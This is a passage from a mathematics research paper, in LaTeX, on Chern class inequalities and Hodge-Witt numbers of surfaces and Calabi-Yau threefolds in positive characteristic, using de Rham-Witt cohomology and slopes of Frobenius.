Readers familiar with geography of surfaces over ${\mathbb C}$ will recall that geography of surfaces over ${\mathbb C}$ is planar--with $c_1^2,c_2$ serving as variables in a plane and Bogomolov-Miyaoka line $c_1^2=3c_2$ representing the absolute boundary beyond which no surfaces of general type can live. On the other hand we show that the geography of surfaces in positive characteristic is non-planar. In fact it is three dimensional, involving variables $c_1^2,c_2,b_1$ (we think of $b_1$ as a coordinate direction rising above the $c_1^2,c_2$-plane) and $c_1^2\leq 5c_2+6b_1$ serves as a natural boundary. But there are surfaces on the plane $c_1^2=5c_2+6b_1$ and well beyond it: the region $c_1^2>5c_2+6b_1$ is also populated. The surfaces which live in the region $c_1^2\leq 5c_2+6b_1$ are the ones which can hope to understand.
Now let us consider the inequality $c_1^2\leq 5c_2$. In fact we show Proposition~\ref{chern-inequalities2} that the inequality (studied in
the classical case in \cite{deven76a}):
\begin{equation*}
c_1^2\leq 5c_2
\end{equation*}
is equivalent to the inequality
\begin{equation*}
m^{1,1}-2T^{0,2}\geq b_1,
\end{equation*}
where the term on the left is of de Rham-Witt (this comes from $T^{0,2}$ which is a measure of infinite torsion) and crystalline (coming from the $m^{1,1}$ term which is a measure of slopes of Frobenius in the second crystalline cohomology of $X$) in origin while the right hand side is a pure geometric term. This is the reason for our contention that the problem of the Bogomolov-Miyaoka-Yau in positive characteristic is intimately related to understanding the influence of the infinite torsion in the slope spectral sequence.
For \textit{ordinary surfaces} one sees at once from the above inequalities we are still faced with an inequality (as $T^{0,2}=0$ by a Theorem of \cite{illusie83b}):
\begin{equation*}
m^{1,1}\geq b_1
\end{equation*}
and this is still non-trivial to prove (and we do not know how to prove it). If we assume in addition that $X$ has torsion-free crystalline cohomology, then $m^{1,1}=h^{1,1}$ and hence the inequality is purely classical--involving Hodge and Betti numbers. Though the proof of the inequality in this case would, nevertheless be non-classical. In this sense the ordinary case is closest to the classical case, but it appears to us that this case nevertheless lies beyond classical geometric methods--one should think of this case as a quasi-geometric or quasi-classical case (we use the word ``quasi'' in these phrases in the sense of physics--``quasiclassical'' is close to ``classical'' but also beyond it). At any rate we hope we have convinced the reader that the problem of chern class inequalities in positive characteristic is also of arithmetic origin.
(For more on ordinary surfaces see below and also Subsection~\ref{recurringfantasy} further on).
In Proposition~\ref{m11andpg} (resp. Proposition~\ref{m11andpg2}) we give sufficient condition (in terms of slopes of Frobenius and geometric genus of $X$) for $c_1^2\leq 5c_2$ to hold for $X$ minimal of general type and Hodge-Witt (and satisfying other reasonable conditions) resp. for $X$ Mazur-Ogus (plus other reasonable conditions). Proposition~\ref{m11andpg} is used in the proof of Theorem~\ref{strange-thm}.
Let us now discuss Theorem~\ref{strange-thm}. As a further example of our point of view we prove in Theorem~\ref{strange-thm} that if $X$ is a smooth, projective, minimal surface of general type satisfying
\begin{enumerate}
\item $c_2>0$,
\item $p_g>0$,
\item $X$ is Hodge-Witt
\item ${\rm Pic\,}(X)$ is reduced or $H^2_{cris}(X/W)$ is torsion-free,
\item and $H^2_{cris}(X/W)$ has no slope $<\frac{1}{2}$.
\end{enumerate}
Then
\begin{equation}
c_1^2\leq 5c_2.
\end{equation}
It seems to us that this is certainly not the most optimal result which can be obtained by our methods, but should serve as a starting point for understanding Bogomolov-Miyaoka-Yau type inequality for surfaces using slopes of Frobenius. \emph{The novelty of our method lies in our use of slopes of Frobenius to prove such an inequality (when de Rham-Witt torsion is controlled--by the Hodge-Witt hypothesis).}
Further it is evident that our hypothesis are not too unreasonable (except for the assumption on slopes--and this we do not know how to weaken at this point). At any rate the class of surfaces which satisfy our assumption is locally closed in moduli if we assume fixed chern classes. However it seems unlikely to us that our result can be established by purely geometric means.
In Subsection~\ref{recurringfantasy}, which was also not included in any prior version of this paper, we describe a \textit{recurring fantasy} (we are reluctant to call it a conjecture at this time, but on the other hand this persistent vision has refused to vanish or yield itself for almost a decade now) to prove $$c_1^2\leq 5c_2+6$$ for a large class of \emph{ordinary surfaces} and
$$c_1^2\leq 6c_2$$ for all except a bounded family of \emph{such} surfaces. This recurring fantasy should be considered the \textit{de Rham-Witt avatar of van de Ven's Theorem} \cite{deven76a}.
By now it should be evident that the obstruction(s) to proving chern class inequalities have their origin in the geometry and arithmetic of the surface. All these investigations stem from certain invariants of non-classical nature, called Hodge-Witt numbers, which were
introduced by T.~Ekedahl (see \cite{ekedahl-diagonal}) and use a
remarkable formula of R.~Crew (see loc. cit.) and in particular
the Hodge-Witt number $h^{1,1}_W$ of surfaces.
This number can be negative (and its negativity signals failure of chern class inequalities) and in fact it can be arbitrarily negative.
Using Enriques'
classification to show that the negativity of $h^{1,1}_W$ implies that the
surface is either quasi-elliptic (so we are automatically in
characteristic two or three) or the surface is of general type.
Surfaces which do not satisfy $c_1^2\leq 5c_2+6b_1$ are
particularly extreme cases of failure of the
Bogomolov-Miyaoka-Yau. They all exhibit de Rham-Witt torsion,
non-degeneration of Hodge de Rham or presence of crystalline
torsion. In particular Szpiro's examples (see \cite{szpiro81}) of surfaces which do not
satisfy the Bogomolov-Miyaoka-Yau inequality have highly
non-degenerate slope spectral sequence (and either have
crystalline torsion or non-degenerate Hodge de Rham spectral
sequence).
The other question of interest, especially for surfaces is: how do
the various $p$-adic invariants reflect in the Enriques'-Kodaira
classification? Of course, the behavior of cohomological
invariants is quite well-understood. But in positive
characteristic there are other invariants which are of a
non-classical nature. In fact our first task here is to expand our
list of birational invariants. The new invariants of surfaces are
at moment defined only for smooth surfaces. But they are of
birational nature in the sense that: two smooth, projective
surfaces which are birational surfaces have the same invariants.
These are: the $V$-torsion, the N\'eron-Severi torsion, the exotic
torsion and the domino associated to the only potentially
non-trivial differential
\begin{equation*}
H^2(X,W(\O_X))\to H^2(X,W\Omega^1_X)
\end{equation*}
in slope spectral sequence of the
surface; in particular the dimension of this domino, denoted here
by $T^{0,2}$ is a birational invariant of smooth, projective
surfaces. We also study torsion in $H^2_{cris}(X/W)$ in terms of
the Enriques' classification, making precise several results found
in the existing literature.
Applying our methods to Calabi-Yau threefolds, we obtain a
complete characterization (in any positive characteristic) of
Calabi-Yau threefolds with negative Hodge-Witt numbers. These are
are precisely the threefolds for which the Betti number $b_3=0$.
In particular such threefolds cannot lift to characteristic zero.
All known examples of non-liftable Calabi-Yau threefolds have this
property and it is quite likely, at least if $H^2_{cris}(X/W)$ is torsion-free, that all non-liftable Calabi-Yau
threefolds are of this sort. We expect that if a Calabi-Yau threefold has non-negative Hodge-Witt numbers and torsion free crystalline cohomology then it lifts to $W_2$ (for $p\geq 5$). The non-negativity of Hodge-Witt numbers (equivalent to $h^{1,2}_W\geq 0$, for Calabi-Yau threefolds) is equivalent to the geometric condition
\begin{equation*}
c_3\leq 2b_2.
\end{equation*}
Our conjecture is that if $H^2_{cris}(X/W)$ is torsion-free, equivalently if $H^0(X,\Omega^1_X)=0$, for a Calabi-Yau threefold, and if this inequality holds then $X$ lifts to $W_2$ (for $p\geq 5$).
\subsection{Detailed outline of the paper}
Here is a more detailed plan of the paper. In
Section~\ref{notations} we recall results in crystalline
cohomology, and the theory of de Rham Witt complex which we use in
this paper. Reader familiar with \cite{illusie79b},
\cite{illusie83b}, \cite{ekedahl84}, \cite{ekedahl85} and
\cite{ekedahl-diagonal} is strongly advised to skip this section.
In Section~\ref{hodge-witt-of-surfaces} we begin with one of the
main themes of the paper. We begin by proving (see
Theorem~\ref{domino-numbers-for-mazur-ogus}) that the domino
numbers of a smooth, projective variety whose Hodge de Rham
spectral sequence degenerates and whose crystalline cohomology is
torsion free are completely determined by the Hodge numbers and
the slope numbers (in other words they are completely determined
by the Hodge numbers and the slopes of Frobenius). This had been
previously proved by Ekedahl~\cite{illusie90a} for abelian
varieties. In Subsection~\ref{explicitformulas} we compute domino numbers of smooth hypersurfaces in $\P^n$ (for $n\leq 4$).
In Proposition~\ref{non-negative-hw-for-surfaces} we
note that for a smooth, projective surface $h^{1,1}_W$ is the only
one which can be negative, the rest are non-negative. In
Subsection~\ref{enriques} we use the Enriques classification of
surfaces to prove that if the characteristic $p\geq 5$ and if
$h^{1,1}_W$ is negative then $X$ is of general type. In
characteristics two and three there are exceptions to the
assertions arising from certain quasi-elliptic surfaces. The
result is proved by stepping through the classification and
showing that for surfaces with Kodaira dimension at most one,
$h^{1,1}_W$ is non-negative.
In Section~\ref{chern-inequalities} we take up the topic of Chern
class inequalities of the type $c_1^2\leq 5c_2$ and $c_1^2\leq
5c_2+6b_1$ (such inequalities were considered in \cite{deven76a}).
In Theorem~\ref{surfaces-with-non-negative-h11} this inequality is
established for a large class of surfaces. In particular the
inequality is proved for any smooth, projective surface (with
$p\geq 3$) which lifts to $W_2$ and whose crystalline cohomology
is torsion free, surfaces which are ordinary (or more generally,
Hodge-Witt). In Proposition~\ref{chern-inequalities2} we record
the fact that the inequality $c_1^2\leq 5c_2$ is equivalent to the
inequality $m^{1,1}-2T^{0,2}\geq b_1$, an inequality with
terms involving slopes of Frobenius, de Rham-Witt contributions
and Betti number $b_1$. In Proposition~\ref{m11andpg} we show that
for surfaces which are Hodge-Witt satisfy, amongst other hypothesis, the inequality $m^{1,1}\geq 2p_g$, the
inequality $c_1^2\leq 5c_2$ holds. Here $m^{1,1}$ is the slope
number (see \ref{slope-number-definition} for the definition) and
$p_g$ is the geometric genus. In Proposition~\ref{m11andpg2} we show that if $X$ is Mazur-Ogus surface which satisfies, amongst other hypothesis, $m^{1,1}\geq 4p_g$, then $c_1^2\leq 5c_2$ holds.
In Subsection~\ref{lower-bounds} we investigate lower bounds on
$h_W^{1,1}$. For instance we note that if $X$ is of general type
then $-c_1^2\leq h_W^{1,1}\leq h^{1,1}$, except possibly for
$p\leq 7$ and $X$ is fibred over a curve of genus at least two and
the generic fibre is a singular rational curve of genus at most
four. It seems rather optimistic to conjecture that if $b_1\neq 0$ and $h^{1,1}_W<0$ then
$X\to {\text{Alb}}(X)$ has one dimensional image (and so such surfaces
admit a fibration with an irrational base).
In Subsection~\ref{chern-inequalities2} we prove that $c_1^2\leq 5c_2$ holds for a large class of Hodge-Witt surfaces (see the statement of Theorem~\ref{strange-thm} for the full list of hypothesis).
In Subsection~\ref{recurringfantasy} we describe a recurring fantasy to prove $c_1^2\leq 5c_2+6$ for a large class of ordinary surfaces (see Conjecture~\ref{ordinaryconj} and Theorem~\ref{ordconjthm}).
In Section~\ref{geography-of-crystalline-torsion} we digress a
little from our main themes. This section may be well-known to
the experts. We consider torsion in the second crystalline
cohomology of $X$. It is well-known that torsion in the second
cohomology of a smooth projective surface is a birational
invariant, and in fact the following variant of this is true in
positive characteristic (see
Proposition~\ref{torsion-species-and-blowups}): torsion of every
species (i.e. N\'eron-Severi, the $V$-torsion, and the exotic
torsion) is a birational invariant. We also note that surfaces of
Kodaira dimension at most zero do not have exotic torsion. The
section ends with a criterion for absence of exotic torsion which
is often useful in practice. In
Proposition~\ref{birational-invariance-of-domino} we prove that if
$X'$ and $X$ are two smooth surfaces which are birational then
they have the same domino number (in the case the only one of
interest is $T^{0,2}$). Thus this is a new birational invariant
of smooth surfaces which lives only in positive characteristic. In
Theorem~\ref{precise-torsion} we show that if $X$ is a smooth,
projective surface of general type with exotic torsion then $X$
has Kodaira dimension $\kappa(X)\geq 1$. A surface with
$V$-torsion must either have $\kappa(X)\geq 1$ or $\kappa(X)=0$,
$b_2=2$ and $p_g=1$ or $p=2$, $b_2=10$ and $p_g=1$. This theorem
is proved via
Proposition~\ref{classification-of-torsion-for-kappa0} where we
describe torsion in $H^2_{cris}(X/W)$ for surfaces with Kodaira
dimension zero.
In Section~\ref{mehta-question} we digress again from our main
theme to answer a question of Mehta (for surfaces). We show that
any smooth, projective surface $X$ of Kodaira dimension at most
zero has a Galois \'etale cover $X'\to X$ such that
$H^2_{cris}(X'/W)$ is torsion free. Thus crystalline torsion in
these situations, can in some sense, be uniformized, or
controlled. We do not know if this result should be true without
the assumption on Kodaira dimension.
In Section~\ref{hodge-witt-numbers-of-threefolds} we take up the
study of Hodge-Witt numbers of smooth projective threefolds. In
Section~\ref{calabi-yau-negative} take up the study of Calabi-Yau
threefolds with negative $h^{1,2}_W$ (which is the only one which
can be negative). In Theorem~\ref{non-liftable-b3} we give a
characterization, valid in any characteristic, of Calabi-Yau
threefolds with negative $h^{1,2}_W$. All such threefolds must
have $b_3=0$. Such threefolds, of course, cannot be lifted to
characteristic zero. In Proposition~\ref{hirokado-example} we note
that the Hirokado and Schr\"oer threefolds are examples of
smooth, projective, Calabi-Yau threefold for which $h^{1,2}_W<0$.
In \cite{joshi05b} which is a thematic sequel (if we get around to finishing it) to this paper we will study the properties of a refined Artin invariant of families of Mazur-Ogus surfaces and related stratifications.
\subsection{Acknowledgements}
While bulk of this paper was written more than a decade ago, and after a few rejections from journals where I thought (rather naively) that the paper could (or perhaps should) appear, I lost interest in its publication and the paper has gestated at least since 2007. Over time there have been small additions which I have made (and I have rewritten the introduction to reflect my current thinking on this matter), but largely the paper remains unchanged. However among the notable additions are: Theorem~\ref{strange-thm} and Propositions~\ref{m11andpg} and Proposition~\ref{m11andpg2} which are of later vintage (being proved around 2012-13); and Subsection~\ref{ordinaryconj} has matured for many years now, but has been added more recently; I also added a computation of Domino numbers of hypersurfaces Subsection~\ref{explicitformulas} around 2009.
Untimely death of Torsten Ekedahl reminded me of this manuscript again and I decided to revive it from its slumber (though it takes a while to wake up after such a long slumber). I dedicate this paper to his memory. I never had the opportunity to meet him, but his work has been a source of inspiration for a long time. Along with Ekedahl, this paper clearly owes its existence to the work of Richard Crew, Luc Illusie and Michel Raynaud. I take this opportunity to thank Luc Illusie and Michel Raynaud for encouragement. Thanks are also due to Minhyong Kim for constant encouragement while this paper was being written (he was at Arizona at the time the paper was written). I would like to thank the Korea Institute of Advanced Study and especially thank the organizers of the
International Workshop on Arithmetic Geometry in the fall of 2001,
where some of these results were announced, for support.
I have tried to keep this paper as self-contained as possible. This may leave the casual reader the feeling that these results are elementary, and to a certain extent they are; but we caution the reader that this feeling is ultimately illusory as we use deep work of Crew, Ekedahl, Illusie and Raynaud on the slope spectral sequence which runs into more than four hundred pages of rather profound and beautiful mathematics.
\section{Notations and Preliminaries}\label{notations}
\subsection{Witt vectors} Let $p$ be a prime number and let $k$ be a perfect field
of characteristic $p$. Let ${\overline{k}}$ be an algebraic closure of $k$. Let
$W=W(k)$ be the ring of Witt vectors of $k$ and let $W_n=W/p^n$ be the
ring of Witt vectors of $k$ of length $n\geq 1$. Let $K$ be the
quotient field of $W$. Let $\sigma$ be the Frobenius morphism
$x\mapsto x^p$ of $k$ and let $\sigma:W\to W$ be its canonical lift to
$W$. We will also write $\sigma:K\to K$ for the extension of
$\sigma:W\to W$ to $K$.
\subsection{The Cartier-Dieudonne-Raynaud Algebra}
Following \cite[page~90]{illusie83b} we write $R$ for the
Cartier-Dieudonne-Raynaud algebra of $k$. Recall that $R$ is a
$W$-algebra generated by symbols $F,V,d$ with the following relations:
\begin{eqnarray*}
FV&=&p\\
VF&=&p\\
Fa&=&\sigma(a)F \qquad \forall\,a\in W\\
aV&=&V\sigma^{-1}\qquad\forall\,a\in W\\
d^2&=&0\\
FdV&=&d\\
da&=&ad\qquad\forall\, a\in W
\end{eqnarray*}
The Raynaud algebra is graded $R=R^0\oplus R^1$ where $R^0$ is the
$W$-subalgebra generated by symbols $F,V$ with relations above and
$R^1$ is generated as an $R^0$ bi-module by $d$ (see
\cite[page~90]{illusie83b}).
\subsection{Explicit description of $R$}
Every element of $R$ can be written uniquely as a sum
\begin{equation}
\sum_{n>0}a_{-n}V^n+
\sum_{n\geq0}a_nF^n+\sum_{n>0}b_{-n}dV^n+\sum_{n\geq0}b_nF^nd
\end{equation}
where $a_n,b_n\in W$ for all $n\in{\mathbb Z}$ (see \cite[page
90]{illusie83b}).
\subsection{Graded modules over $R$}\label{complexes}
Any graded $R$-module $M$ can be thought of as a complex
$M=M^{{\scriptstyle{\bullet}}}$ where $M^i$ for $i\in{\mathbb Z}$ are $R^0$ modules and the
differential $M^i\to M^{i+1}$ is given by $d$ with $FdV=d$ (see
\cite[page 90]{illusie83b}).
\subsection{Standing assumption} From now on we will assume that all $R$-modules are graded.
\subsection{Canonical Filtration}\label{canonical-filtration}
On any $R$-module $M$ we define a filtration (see \cite[page
92]{illusie83b} by
\begin{eqnarray}
\operatorname{\text{Fil}}^nM&=&V^nM+dV^nM\\
\operatorname{\text{gr}}^nM&=&\operatorname{\text{Fil}}^nM/\operatorname{\text{Fil}}^{n+1}M
\end{eqnarray}
In particular we set $R_n=R/\operatorname{\text{Fil}}^nR$.
\subsection{Topology on $R$}\label{topology}
We topologize an $R$ module $M$ by the linear topology given by
$\operatorname{\text{Fil}}^nM$ (see \cite[page 92]{illusie83b}).
\subsection{Complete modules}\label{complete-modules}
We write $\hat{M}=\liminv_{n}M/\operatorname{\text{Fil}}^nM$ and call $\hat{M}$ the
completion of $M$, and say $M$ is complete if $\hat{M}=M$. Note that
$\hat{M}$ is complete and one has $(\hat{M})^i=\liminv_{n}
M^i/\operatorname{\text{Fil}}^nM^i$ \cite[section 1.3, page 90]{illusie83b}.
\subsection{Differential}\label{differential0}
Let $M$ be an $R$-module, for all $i\in{\mathbb Z}$ we let
\begin{eqnarray}
Z^iM&=&\ker(d:M^i\to M^{i+1})\\
B^iM&=&d(M^{i-1})
\end{eqnarray}
The $W$-module $Z^iM$ is stable by $F$ but not by $V$ in general and
we let
\begin{equation}
V^{-\infty}Z^i=\bigcap_{r\geq 0}V^{-r}Z^i
\end{equation}
where $V^{-r}Z^i=\{x\in M^i| V^r(x)\in Z^i\}$. Then $V^{-\infty}Z^i$
is the largest $R^0$ submodule of $Z^i$ and $M^i/V^{-\infty}Z^i$ has
no $V$-torsion (see \cite[page 93]{illusie83b}).
The $W$-module $B^i$ is stable by $V$ but not in general by $F$.
We let $$F^\infty B^i=\bigcup_{s\geq 0}F^sB^i.$$ Then $F^\infty
B^i$ is the smallest $R^0$-submodule of $M^i$ which contains $B^i$
(see \cite[page 93]{illusie83b}).
\subsection{Canonical Factorization}\label{differential1}
The differential $M^{i-1}\to M^i$ factors canonically as
\begin{equation}\label{domino-factorization}
M^{i-1}\to M^{i-1}/V^{-\infty}Z^i\to F^\infty B^i \to M^i
\end{equation}
(see \cite[page 93, 1.4.5]{illusie83b}) we write
$\tilde{H}^i(M)=V^{-\infty}Z^i/F^\infty B^i$, is called the heart
of the differential $d:M^{i}\to M^{i+1}$ and we will say that the
differential is {\em heartless} if its heart is zero.
\subsection{Profinite modules}\label{profinite-modules}
A (graded) $R$-module $M$ is profinite if $M$ is complete and for
all $n,i$ the $W$-module $M^i/\operatorname{\text{Fil}}^nM^i$ is of finite length
\cite[Definition 2.1, page 97]{illusie83b}.
\subsection{Coherence}\label{coherence}
A (graded) $R$-module $M$ is coherent if it is of bounded degree,
profinite and the hearts $\tilde{H}^i(M)$ are of finite type over $W$
\cite[Theorem~3.8, 3.9, page 118]{illusie83b}.
\subsection{Dominoes} An $R$-module $M$ is a domino if $M$ is concentrated in
two degrees (say) $0,1$ and $V^{-\infty}M^0=0$ and $F^\infty
B^1=M^1$. If $M$ is any $R$-module then the canonical
factorization of $d:M^{i}\to M^{i+1}$, given in
\ref{domino-factorization}, gives a domino: $M^i/V^{-\infty}M^i\to
F^\infty B^{i+1}M^i$ (see \cite[2.16, page 110]{illusie83b}),
which we call the \emph{domino associated to} the differential
$d:M^i\to M^{i+1}$.
\subsection{Dimension of a Domino} Let $M$ be a domino, then we define $T(M)=\dim_k
M^0/VM^0$ and call it the dimension of the domino. If $M$ is any
$R$-module we write $T^i(M)$ for the dimension of the domino
associated to the differential $M^i\to M^{i+1}$. It is standard
that $T^i(M)$ is finite \cite[Proposition~2.18, page
110]{illusie83b}.
\subsection{Filtration on dominoes}
Any domino $M$ comes equipped with a finite decreasing filtration by
$R$-submodules such that the graded pieces are certain standard one
dimensional dominos $U_j$ (see
\cite[Proposition~2.18, page 110]{illusie83b}).
\subsection{One dimensional dominoes}
The $U_j$, one for each $j\in{\mathbb Z}$, provide a complete list of
all the one dimensional dominos (see \cite[Proposition~2.19, page
111]{illusie83b}).
\subsection{Domino devissage lemmas} Further by
\cite[Lemma~4.2, page 12]{ekedahl-diagonal} one has
\begin{equation}
\operatorname{\text{Hom}}_R(U_i,U_j)=0
\end{equation}
if $i>j$, and
\begin{equation}
\operatorname{\text{Hom}}_R(U_i,U_i)=k.
\end{equation}
\subsection{Slope spectral sequence}
Let $X$ be a scheme over $k$, we will write $H^*_{\text{cris}}(X/W)$ for
the crystalline cohomology of $X$, whenever this exists. If $X$ is
smooth and proper, in \cite{illusie79b}, one finds the
construction of the de Rham Witt complex $W\Omega^\mydot_X$. The
construction of this complex is functorial in $X$. This complex
computes $H^*_{cris}(X/W)$ and one has a spectral sequence (the
\emph{slope spectral sequence} of $X$)
$$E_1^{i,j}=H^j(X,W\Omega^i_X)\Rightarrow H^{i+j}_{cris}(X/W).$$
The construction slope spectral sequence is also functorial in $X$
and for each $j\geq 0$, $H^j(X,W\Omega^\mydot_X)$ is a graded
$R$-module. Modulo torsion, the slope spectral sequence always
degenerates at $E_1$. We say that $X$ is \emph{Hodge-Witt} if the
slope spectral sequence degenerates at $E_1$.
\subsection{Classical invariants of surfaces}\label{torsion}
Let $X/k$ be a smooth projective surface. Then recall the
following standard notation for numerical invariants of $X$. We
will write $b_i=\dim_{{\mathbb Q}_\ell} H^i_{et}(X,{\mathbb Q}_\ell)$,
$q=\dim{\text{Alb}}(X)=\dim{\rm Pic\,}^0(X)_{\rm red}$; $2q=b_1$, $h^{ij}=\dim_k
H^j(X,\Omega_X^i)$; and $p_g(X)=h^{0,2}=h^{2,0}$. Then one has the
following form of the Noether's formula:
\begin{equation}\label{noether-formula1}
10+12p_g=K_X^2+b_2+8q+2(h^{0,1}-q),
\end{equation}
where $K_X$ is the canonical bundle of $X$ and $K_X^2$ denotes the
self intersection. The point is that all the terms are non-negative except
possibly $c_1^2$. Further by \cite[page 25]{bombieri76} we have
\begin{equation}
0\leq h^{0,1}-q\leq p_g.
\end{equation}
Formula \eqref{noether-formula1} is easily seen to be equivalent to
the usual form of Noether's formula
\begin{equation}\label{noether-formula2}
12\chi(\O_X)=c_1^2+c_2=c_1^2+\chi_{et}(X).
\end{equation}
\subsection{Hodge-Noether formula} In addition, when the ground field $k={\mathbb C}$, we get yet
another form of Noether's formula which is a consequence of
\eqref{noether-formula2} and the Hodge decomposition:
\begin{equation}\label{noether-formula3}
h^{1,1}=10\chi(\O_X)-c_1^2+b_1.
\end{equation}
We will call this the \emph{Hodge-Noether formula}.
\subsection{Hodge-Witt invariants and other invariants}
\label{role-of-hodge-witt} In the next few subsections we recall
results on Hodge-Witt numbers \cite[page 85]{ekedahl-diagonal} of
surfaces and threefolds. We recall the definition of Hodge-Witt
numbers and their basic properties.
\subsection{Slope numbers}\label{slope-number-definition} Let $X$ be a smooth projective
variety over a perfect field $k$. The slope numbers of $X$ are
defined by (see \cite[page 85]{ekedahl-diagonal}):
\begin{eqnarray*}
m^{i,j}&=&\sum_{\lambda\in [i-1,i)}(\lambda-i+1)\dim_K
H^{i+j}_{\text{cris}}(X/W)_{[\lambda]} \\
& &\qquad+\sum_{\lambda\in
[i,i+1)}(i+1-\lambda)\dim_K H^{i+j}_{\text{cris}}(X/W)_{[\lambda]}.
\end{eqnarray*}
where the summation is over all the slopes of Frobenius
$\lambda$ in the indicated intervals.
\subsection{Dominoes in the slope spectral sequence}
\label{domino-number-definition} Let $X$ be a smooth projective
variety. Then the domino numbers $T^{i,j}$ of $X$ are defined by
(see \cite[page 85]{ekedahl-diagonal}):
\begin{equation*}
T^{i,j}=\dim_k \operatorname{\text{Dom}}^{i,j}(H^{{\scriptstyle{\bullet}}}(X,W\Omega_X^{{\scriptstyle{\bullet}}}))
\end{equation*}
in other words, $T^{i,j}$ is the dimension of the domino
associated to the differential
\begin{equation} d:H^j(X,W\Omega^{i}_X)\to
H^j(X,W\Omega_X^{i+1}).
\end{equation}
\subsection{Hodge-Witt Numbers}
\label{hodge-witt-definition} Let $X$ be a smooth projective
variety over a perfect field $k$. The Hodge-Witt numbers of $X$
are defined by the formula (see \cite[page 85]{ekedahl-diagonal}):
\begin{equation*}
h^{i,j}_W=m^{i,j}+T^{i,j}-2T^{i-1,j+1}+T^{i-2,j+2}.
\end{equation*}
\subsection{Formulaire}\label{formulaire}
The Hodge-Witt numbers, domino numbers and the slope numbers
satisfy the following properties which we will now list. See
\cite{ekedahl-diagonal} for details.
\subsubsection{Slope number symmetry}
For all $i,j$ one has the symmetries (see \cite[Lemma 3.1,
page 112]{ekedahl-diagonal}):
\begin{equation*}\label{slope-symmetry}
m^{i,j}=m^{j,i}=m^{n-i,n-j},
\end{equation*}
the first is a consequence of Hard Lefschetz Theorem and the
second is a consequence of Poincar\'e duality. Further these
numbers are obviously non-negative:
\begin{equation*}
m^{i,j}\geq0.
\end{equation*}
\subsubsection{Theorems of Ekedahl}\label{ekedahl-theorems}
The following formulae give relations to Betti numbers (see
\cite[Theorem 3.2, page 85]{ekedahl-diagonal}):
\begin{equation*}\label{slope-betti}
\sum_{i+j=n}m^{i,j}=\sum_{i+j=n}h^{i,j}_W=b_n
\end{equation*}
and one has Ekedahl's upper bound (see \cite[Theorem 3.2, page
86]{ekedahl-diagonal}):
\begin{equation*}\label{ekedahl-bound}
h^{i,j}_W\leq h^{i,j},
\end{equation*}
and if $X$ is Mazur-Ogus (see
Subsection~\ref{mazur-ogus-varieties} for the definition of a
Mazur-Ogus variety) then we have
\begin{equation*}\label{ekedahl-hodge-witt-theorem}
h^{i,j}_W = h^{i,j}.
\end{equation*}
\subsubsection{Ekedahl's duality}
One has the following fundamental duality relation for dominos due to
Ekedahl (see \cite[Corollary~3.5.1, page 226]{ekedahl85}): for all
$i,j$, the domino $T^{i,j}$ is canonically dual to $T^{n-i-2,n-j+2}$
and in particular
\begin{equation}\label{domino-duality}
T^{i,j}=T^{n-i-2,n-j+2}.
\end{equation}
\subsection{Crew's Formula} The Hodge and Hodge-Witt numbers of $X$ satisfy a
relation known as Crew's formula which we will use often in this
paper. The formula is the following
\begin{equation}\label{crew-formula}
\sum_j(-1)^jh^{i,j}_W=\chi(\Omega^i_X)=\sum_j(-1)^jh^{i,j}.
\end{equation}
\subsubsection{Hodge-Witt symmetry}\label{hodge-witt-symmetry}
For any smooth projective variety of dimension at most three we have for all $i,j$ (see \cite[Corollary 3.3(iii),page 113]{ekedahl-diagonal}):
\begin{equation}
h^{i,j}_W=h^{j,i}_W.
\end{equation}
\subsubsection{Hodge-Witt Duality}\label{hodge-witt-duality}
For any smooth projective variety of dimension $n$ we have
for all $i,j$ (see \cite[Corollary
3.2(i), page 113]{ekedahl-diagonal}):
\begin{equation}
h^{i,j}_W=h^{n-i,n-j}_W.
\end{equation}
\subsection{Crew's Formula for surfaces}
For surfaces, the formulas in \ref{crew-formula} take more
explicit forms (see \cite[page 85]{ekedahl-diagonal} and
\cite[page 64]{illusie83a}). We recall them now as they will play
a central role in our investigations. Let $X/k$ be a smooth
projective surface, $K_X$ be its canonical divisor, $T_X$ its
tangent bundle, and let $c_1^2,c_2$ be the usual Chern invariants
of $X$ (so $c_i=c_i(T_X)=(-1)^ic_i(\Omega^1_X)$). Then the
Hodge-Witt numbers of $X$ are related to the other numerical
invariants of $X$ by means of the following formulae \cite[page
114]{ekedahl-diagonal}:
\begin{eqnarray}\label{ekedahl-formula}
h^{0,1}_W&=&h^{1,0}_W\\
h^{0,1}_W&=&b_1/2\\
h^{0,2}_W&=&h^{2,0}_W\\
h^{0,2}_W&=&\chi(\O_X)-1+b_1/2\\
h^{1,1}_W&=&b_1+\frac{5}{6}c_2-\frac{1}{6}c_1^2
\end{eqnarray}
\subsection{Hodge-Witt-Noether Formula}
The formula for $h^{1,1}_W$ above and Noether's formula give the
following variant of the Hodge-Noether formula of
\ref{noether-formula3}. We will call this variant the
\emph{Hodge-Witt-Noether} formula:
\begin{equation}\label{noether-formula4}
h^{1,1}_W=10\chi(\O_X)-c_1^2+b_1.
\end{equation}
This formula will be central to our study of surfaces in this
paper.
\subsection{Mazur-Ogus and Deligne-Illusie
varieties}\label{mazur-ogus-varieties} In the next few subsections
we enumerate the properties of a class of varieties known as
Mazur-Ogus varieties. We will use this class of varieties at
several different points in this paper as well as its thematic
sequels so we elaborate some of the properties of this class of
varieties here.
\subsection{Mazur-Ogus varieties} A smooth, projective variety over a perfect field $k$
is said to be a Mazur-Ogus variety if it satisfies the following
conditions:
\begin{enumerate}
\item The Hodge de Rham spectral sequence of $X$ degenerates at
$E_1$, and
\item crystalline cohomology of $X$ is torsion free.
\end{enumerate}
\subsection{Deligne-Illusie varieties} A smooth, projective variety over a perfect field $k$
is said to be a Deligne-Illusie variety if it satisfies the
following conditions:
\begin{enumerate}
\item $X$ admits a flat lifting to $W_2(k)$ and
\item crystalline cohomology of $X$ is torsion free.
\end{enumerate}
\begin{remark}
\begin{enumerate}
\item The class of Mazur-Ogus varieties is quite reasonable for
many purposes and is rich enough to contain varieties with many de
Rham-Witt torsion phenomena. For instance any K3 surface is
Mazur-Ogus (in particular the supersingular K3 surface is
Mazur-Ogus). \item We caution the reader that our definition of
Deligne-Illusie varieties is more restrictive than that conceived
by Deligne-Illusie. Nevertheless, we have the following
restatement of \cite{deligne87}.
\end{enumerate}
\end{remark}
\begin{theorem}\label{deligne-illusie-thm} If $p>\dim(X)$ then any Deligne-Illusie variety
$X$ is a Mazur-Ogus variety.
\end{theorem}
\begin{remark} It seems reasonable to expect that the inclusion of the
class of Deligne-Illusie varieties in the class of Mazur-Ogus
varieties is strict. However we do not know of an example. The
class of Deligne-Illusie varieties is closed under products to
this extent: if $X,Y$ are Deligne-Illusie varieties and if
